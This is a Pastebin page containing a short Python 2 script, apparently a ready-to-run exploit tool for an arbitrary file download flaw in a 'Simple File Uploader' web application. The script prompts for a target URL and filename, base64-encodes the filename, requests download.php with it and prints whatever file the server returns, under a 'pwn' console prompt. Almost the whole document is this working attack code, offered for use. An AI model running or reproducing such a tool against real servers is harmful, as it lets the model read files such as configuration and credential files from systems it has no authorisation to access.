Advertisement
hielasangre

Untitled

Jun 20th, 2017
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.70 KB | None | 0 0
  1.  
  2. #!/usr/bin/env python
  3. #https://pastebin.com/HeT7RuRU
  4. import os,re,requests,time,base64
  5. os.system('clear')
  6.  
  7. BLUE = '\033[94m'
  8. RED = '\033[91m'
  9. GREEN = '\033[32m'
  10. CYAN = "\033[96m"
  11. WHITE = "\033[97m"
  12. YELLOW = "\033[93m"
  13. MAGENTA = "\033[95m"
  14. GREY = "\033[90m"
  15. DEFAULT = "\033[0m"
  16.  
  17. def banner():
  18. print WHITE+""
  19. print " ## ## "
  20. print " ## ## "
  21. print " ############## "
  22. print " #### ###### #### "
  23. print " ###################### "
  24. print " ## ############## ## "
  25. print " ## ## ## ## "
  26. print " #### ####"
  27. print ""
  28.  
  29. def details():
  30. print WHITE+" =[" + YELLOW + "Simple File Uploader Download Tool v1.0.0 "
  31. print ""
  32.  
  33. def core_commands():
  34. os.system('clear')
  35. print WHITE+'''Core Commands\n===============\n
  36. Command\t\t\tDescription\n-------\t\t\t-----------\n
  37. ?\t\t\tHelp menu
  38. quit\t\t\tExit the console
  39. info\t\t\tDisplay information
  40. download\t\t\tExploit Vulnerability
  41.  
  42. '''
  43.  
  44. def about():
  45. os.system('clear')
  46. print WHITE+'''Simple File Uploader Download Tool v1.0.0 \n===============\n
  47. Author\t\t\tDescription\n-------\t\t\t-----------\n
  48. Daniel Godoy\t\thttps://www.exploit-db.com/author/?a=3146
  49. '''
  50.  
  51. def download():
  52. other = 'a'
  53. while other != 'n':
  54. urltarget = str(raw_input(WHITE+'Target: '))
  55. filename = str(raw_input(WHITE+'FileName: '))
  56. filename = base64.b64encode(filename)
  57. print RED+"[x]Sending Attack: "+WHITE+urltarget+'download.php?id='+filename
  58. final = urltarget+'download.php?id='+filename
  59. r = requests.get(final)
  60. print r.text
  61. other = str(raw_input(WHITE+'Test other file? y/n: '))
  62. if other == "n":
  63. print "Type quit to exit. Bye!"
  64.  
  65.  
  66.  
  67. banner()
  68. details()
  69.  
  70. option='0'
  71. while option != 0:
  72. option = (raw_input(RED+"pwn" + WHITE +" > "))
  73. if option == "quit":
  74. os.system('clear')
  75. option = 0
  76. elif option == "?":
  77. core_commands()
  78. elif option == "help":
  79. core_commands()
  80. elif option == "about":
  81. about()
  82. elif option == "download":
  83. download()
  84. elif option == "info":
  85. about()
  86. else:
  87. print "Not a valid option! Need help? Press ? to display core commands " +GREEN
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement